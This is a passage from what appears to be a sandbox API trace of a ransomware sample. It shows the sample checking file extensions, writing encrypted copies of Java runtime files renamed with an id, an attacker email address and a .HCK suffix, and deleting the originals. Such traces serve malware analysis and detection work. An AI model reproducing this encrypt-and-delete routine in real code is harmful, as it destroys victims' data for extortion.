lpString2="ies") returned -1 [0228.483] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0228.483] lstrlenW (lpString=".dbf") returned 4 [0228.483] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0228.483] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0228.483] lstrlenW (lpString=".1cd") returned 4 [0228.483] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0228.483] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0228.483] lstrlenW (lpString=".jpg") returned 4 [0228.483] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0228.483] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0228.483] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0228.483] lstrlenW (lpString=".doc") returned 4 [0228.483] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0228.483] lstrlenW (lpString=".docx") returned 5 [0228.483] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0228.483] lstrlenW (lpString=".pdf") returned 4 [0228.483] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0228.483] lstrlenW (lpString=".xls") returned 4 [0228.483] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0228.483] lstrlenW (lpString=".xlsx") returned 5 [0228.483] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0228.483] lstrlenW (lpString=".ppt") returned 4 [0228.483] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0228.483] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0228.483] lstrlenW (lpString=".zip") returned 4 [0228.483] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0228.483] lstrlenW (lpString=".rar") returned 4 [0228.483] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0228.483] lstrlenW (lpString=".bz2") returned 4 [0228.483] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0228.483] lstrlenW (lpString=".7z") returned 3 [0228.483] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0228.483] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0228.483] lstrlenW (lpString=".dbf") returned 4 [0228.484] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0228.484] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0228.484] lstrlenW (lpString=".1cd") returned 4 [0228.484] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0228.484] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0228.484] lstrlenW (lpString=".jpg") returned 4 [0228.484] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0228.484] lstrcmpiW (lpString1=".template", lpString2=".HCK") returned 1 [0228.484] lstrlenW (lpString="snmp.acl.template") returned 17 [0228.484] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0228.485] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=3376) returned 1 [0228.485] CloseHandle (hObject=0x4cc) returned 1 [0228.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template")) returned 0x20 [0228.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0228.485] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0228.485] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.485] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.486] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0228.486] GetLastError () returned 0x0 [0228.486] ReadFile (in: hFile=0x4cc, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0xd30, lpOverlapped=0x0) returned 1 [0228.487] WriteFile (in: hFile=0x524, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0xd40, lpOverlapped=0x0) returned 1 [0228.488] ReadFile (in: hFile=0x4cc, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0228.488] WriteFile (in: hFile=0x524, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0xf6, lpOverlapped=0x0) returned 1 [0228.488] SetEndOfFile (hFile=0x524) returned 1 [0228.488] CloseHandle (hObject=0x524) returned 1 [0228.489] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.489] SetEndOfFile (hFile=0x4cc) returned 1 [0228.792] CloseHandle (hObject=0x4cc) returned 1 [0228.874] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0228.874] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template")) returned 1 [0229.247] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0229.247] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0229.247] lstrlenW (lpString=".doc") returned 4 [0229.247] lstrcmpiW (lpString1=".doc", lpString2="late") returned -1 [0229.247] lstrlenW (lpString=".docx") returned 5 [0229.247] lstrcmpiW (lpString1=".docx", lpString2="plate") returned -1 [0229.247] lstrlenW (lpString=".pdf") returned 4 [0229.247] lstrcmpiW (lpString1=".pdf", lpString2="late") returned -1 [0229.247] lstrlenW (lpString=".xls") returned 4 [0229.247] lstrcmpiW (lpString1=".xls", lpString2="late") returned -1 [0229.247] lstrlenW (lpString=".xlsx") returned 5 [0229.248] lstrcmpiW (lpString1=".xlsx", lpString2="plate") returned -1 [0229.248] lstrlenW (lpString=".ppt") returned 4 [0229.248] lstrcmpiW (lpString1=".ppt", lpString2="late") returned -1 [0229.248] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0229.248] lstrlenW (lpString=".zip") returned 4 [0229.248] lstrcmpiW (lpString1=".zip", lpString2="late") returned -1 [0229.248] lstrlenW (lpString=".rar") returned 4 [0229.248] lstrcmpiW (lpString1=".rar", lpString2="late") returned -1 [0229.248] lstrlenW (lpString=".bz2") returned 4 [0229.248] lstrcmpiW (lpString1=".bz2", lpString2="late") returned -1 [0229.248] lstrlenW (lpString=".7z") returned 3 [0229.248] lstrcmpiW (lpString1=".7z", lpString2="ate") returned -1 [0229.248] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0229.248] lstrlenW (lpString=".dbf") returned 4 [0229.248] lstrcmpiW (lpString1=".dbf", lpString2="late") returned -1 [0229.248] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0229.248] lstrlenW (lpString=".1cd") returned 4 [0229.248] lstrcmpiW (lpString1=".1cd", lpString2="late") returned -1 [0229.248] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0229.248] lstrlenW (lpString=".jpg") returned 4 [0229.248] lstrcmpiW (lpString1=".jpg", lpString2="late") returned -1 [0229.248] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0229.248] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0229.248] lstrlenW (lpString=".doc") returned 4 [0229.248] lstrcmpiW (lpString1=".doc", lpString2="late") returned -1 [0229.248] lstrlenW (lpString=".docx") returned 5 [0229.248] lstrcmpiW (lpString1=".docx", lpString2="plate") returned -1 [0229.248] lstrlenW (lpString=".pdf") returned 4 [0229.248] lstrcmpiW (lpString1=".pdf", lpString2="late") returned -1 [0229.248] lstrlenW (lpString=".xls") returned 4 [0229.248] lstrcmpiW (lpString1=".xls", lpString2="late") returned -1 [0229.248] lstrlenW (lpString=".xlsx") returned 5 [0229.248] lstrcmpiW (lpString1=".xlsx", lpString2="plate") returned -1 [0229.248] lstrlenW (lpString=".ppt") returned 4 [0229.248] lstrcmpiW (lpString1=".ppt", lpString2="late") returned -1 [0229.248] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0229.248] lstrlenW (lpString=".zip") returned 4 [0229.248] lstrcmpiW (lpString1=".zip", lpString2="late") returned -1 [0229.248] lstrlenW (lpString=".rar") returned 4 [0229.248] lstrcmpiW (lpString1=".rar", lpString2="late") returned -1 [0229.248] lstrlenW (lpString=".bz2") returned 4 [0229.248] lstrcmpiW (lpString1=".bz2", lpString2="late") returned -1 [0229.248] lstrlenW (lpString=".7z") returned 3 [0229.248] lstrcmpiW (lpString1=".7z", lpString2="ate") returned -1 [0229.248] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0229.248] lstrlenW (lpString=".dbf") returned 4 [0229.248] lstrcmpiW (lpString1=".dbf", lpString2="late") returned -1 [0229.248] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0229.248] lstrlenW (lpString=".1cd") returned 4 [0229.248] lstrcmpiW (lpString1=".1cd", lpString2="late") returned -1 [0229.248] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0229.248] lstrlenW (lpString=".jpg") returned 4 [0229.249] lstrcmpiW (lpString1=".jpg", lpString2="late") returned -1 [0229.249] lstrcmpiW (lpString1=".properties", lpString2=".HCK") returned 1 [0229.249] lstrlenW (lpString="sound.properties") returned 16 [0229.249] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0229.249] GetFileSizeEx (in: hFile=0x498, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=1210) returned 1 [0229.249] CloseHandle (hObject=0x498) returned 1 [0229.250] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties")) returned 0x20 [0229.250] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0229.250] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0229.250] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.250] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.250] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0229.251] GetLastError () returned 0x0 [0229.251] ReadFile (in: hFile=0x498, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x4ba, lpOverlapped=0x0) returned 1 [0229.253] WriteFile (in: hFile=0x4d4, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x4c0, lpOverlapped=0x0) returned 1 [0229.254] ReadFile (in: hFile=0x498, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0229.254] WriteFile (in: hFile=0x4d4, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0xf4, lpOverlapped=0x0) returned 1 [0229.254] SetEndOfFile (hFile=0x4d4) returned 1 [0229.254] CloseHandle (hObject=0x4d4) returned 1 [0229.254] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.254] SetEndOfFile (hFile=0x498) returned 1 [0229.256] CloseHandle (hObject=0x498) returned 1 [0229.256] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0229.257] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties")) returned 1 [0229.257] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0229.257] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0229.257] lstrlenW (lpString=".doc") returned 4 [0229.257] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0229.257] lstrlenW (lpString=".docx") returned 5 [0229.257] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0229.257] lstrlenW (lpString=".pdf") returned 4 [0229.257] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0229.257] lstrlenW (lpString=".xls") returned 4 [0229.257] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0229.257] lstrlenW (lpString=".xlsx") returned 5 [0229.257] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0229.257] lstrlenW (lpString=".ppt") returned 4 [0229.258] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0229.258] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0229.258] lstrlenW (lpString=".zip") returned 4 [0229.258] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0229.258] lstrlenW (lpString=".rar") returned 4 [0229.258] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0229.258] lstrlenW (lpString=".bz2") returned 4 [0229.258] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0229.258] lstrlenW (lpString=".7z") returned 3 [0229.258] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0229.258] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0229.258] lstrlenW (lpString=".dbf") returned 4 [0229.258] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0229.258] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0229.258] lstrlenW (lpString=".1cd") returned 4 [0229.258] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0229.258] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0229.258] lstrlenW (lpString=".jpg") returned 4 [0229.258] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0229.258] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0229.258] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0229.258] lstrlenW (lpString=".doc") returned 4 [0229.258] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0229.258] lstrlenW (lpString=".docx") returned 5 [0229.258] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0229.258] lstrlenW (lpString=".pdf") returned 4 [0229.258] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0229.258] lstrlenW (lpString=".xls") returned 4 [0229.258] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0229.258] lstrlenW (lpString=".xlsx") returned 5 [0229.258] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0229.258] lstrlenW (lpString=".ppt") returned 4 [0229.258] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0229.258] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0229.258] lstrlenW (lpString=".zip") returned 4 [0229.258] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0229.258] lstrlenW (lpString=".rar") returned 4 [0229.258] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0229.258] lstrlenW (lpString=".bz2") returned 4 [0229.258] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0229.258] lstrlenW (lpString=".7z") returned 3 [0229.258] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0229.258] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0229.258] lstrlenW (lpString=".dbf") returned 4 [0229.258] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0229.258] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0229.258] lstrlenW (lpString=".1cd") returned 4 [0229.258] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0229.258] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0229.258] lstrlenW (lpString=".jpg") returned 4 [0229.258] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0229.259] lstrcmpiW (lpString1=".0_144\\lib\\tzmappings", lpString2=".HCK") returned -1 [0229.259] lstrlenW (lpString="tzmappings") returned 10 [0229.259] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0229.259] GetFileSizeEx (in: hFile=0x498, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=8400) returned 1 [0229.259] CloseHandle (hObject=0x498) returned 1 [0229.259] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings")) returned 0x20 [0229.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0229.260] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0229.260] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.260] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.260] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0229.261] GetLastError () returned 0x0 [0229.261] ReadFile (in: hFile=0x498, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x20d0, lpOverlapped=0x0) returned 1 [0229.262] WriteFile (in: hFile=0x4d4, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x20e0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x20e0, lpOverlapped=0x0) returned 1 [0229.263] ReadFile (in: hFile=0x498, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0229.263] WriteFile (in: hFile=0x4d4, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0xe8, lpOverlapped=0x0) returned 1 [0229.263] SetEndOfFile (hFile=0x4d4) returned 1 [0229.263] CloseHandle (hObject=0x4d4) returned 1 [0229.263] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.263] SetEndOfFile (hFile=0x498) returned 1 [0229.266] CloseHandle (hObject=0x498) returned 1 [0229.266] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0229.267] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings")) returned 1 [0229.267] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0229.267] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0229.267] lstrlenW (lpString=".doc") returned 4 [0229.267] lstrcmpiW (lpString1=".doc", lpString2="ings") returned -1 [0229.267] lstrlenW (lpString=".docx") returned 5 [0229.267] lstrcmpiW (lpString1=".docx", lpString2="pings") returned -1 [0229.267] lstrlenW (lpString=".pdf") returned 4 [0229.267] lstrcmpiW (lpString1=".pdf", lpString2="ings") returned -1 [0229.267] lstrlenW (lpString=".xls") returned 4 [0229.267] lstrcmpiW (lpString1=".xls", lpString2="ings") returned -1 [0229.267] lstrlenW (lpString=".xlsx") returned 5 [0229.267] lstrcmpiW (lpString1=".xlsx", lpString2="pings") returned -1 [0229.267] lstrlenW (lpString=".ppt") returned 4 [0229.267] lstrcmpiW (lpString1=".ppt", lpString2="ings") returned -1 [0229.267] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0229.267] lstrlenW (lpString=".zip") returned 4 [0229.267] lstrcmpiW (lpString1=".zip", lpString2="ings") returned -1 [0229.267] lstrlenW (lpString=".rar") returned 4 [0229.268] lstrcmpiW (lpString1=".rar", lpString2="ings") returned -1 [0229.268] lstrlenW (lpString=".bz2") returned 4 [0229.268] lstrcmpiW (lpString1=".bz2", lpString2="ings") returned -1 [0229.268] lstrlenW (lpString=".7z") returned 3 [0229.268] lstrcmpiW (lpString1=".7z", lpString2="ngs") returned -1 [0229.268] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0229.268] lstrlenW (lpString=".dbf") returned 4 [0229.268] lstrcmpiW (lpString1=".dbf", lpString2="ings") returned -1 [0229.268] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0229.268] lstrlenW (lpString=".1cd") returned 4 [0229.268] lstrcmpiW (lpString1=".1cd", lpString2="ings") returned -1 [0229.268] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0229.268] lstrlenW (lpString=".jpg") returned 4 [0229.268] lstrcmpiW (lpString1=".jpg", lpString2="ings") returned -1 [0229.268] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0229.268] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0229.268] lstrlenW (lpString=".doc") returned 4 [0229.268] lstrcmpiW (lpString1=".doc", lpString2="ings") returned -1 [0229.268] lstrlenW (lpString=".docx") returned 5 [0229.268] lstrcmpiW (lpString1=".docx", lpString2="pings") returned -1 [0229.268] lstrlenW (lpString=".pdf") returned 4 [0229.268] lstrcmpiW (lpString1=".pdf", lpString2="ings") returned -1 [0229.268] lstrlenW (lpString=".xls") returned 4 [0229.268] lstrcmpiW (lpString1=".xls", lpString2="ings") returned -1 [0229.268] lstrlenW (lpString=".xlsx") returned 5 [0229.268] lstrcmpiW (lpString1=".xlsx", lpString2="pings") returned -1 [0229.268] lstrlenW (lpString=".ppt") returned 4 [0229.268] lstrcmpiW (lpString1=".ppt", lpString2="ings") returned -1 [0229.268] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0229.268] lstrlenW (lpString=".zip") returned 4 [0229.268] lstrcmpiW (lpString1=".zip", lpString2="ings") returned -1 [0229.268] 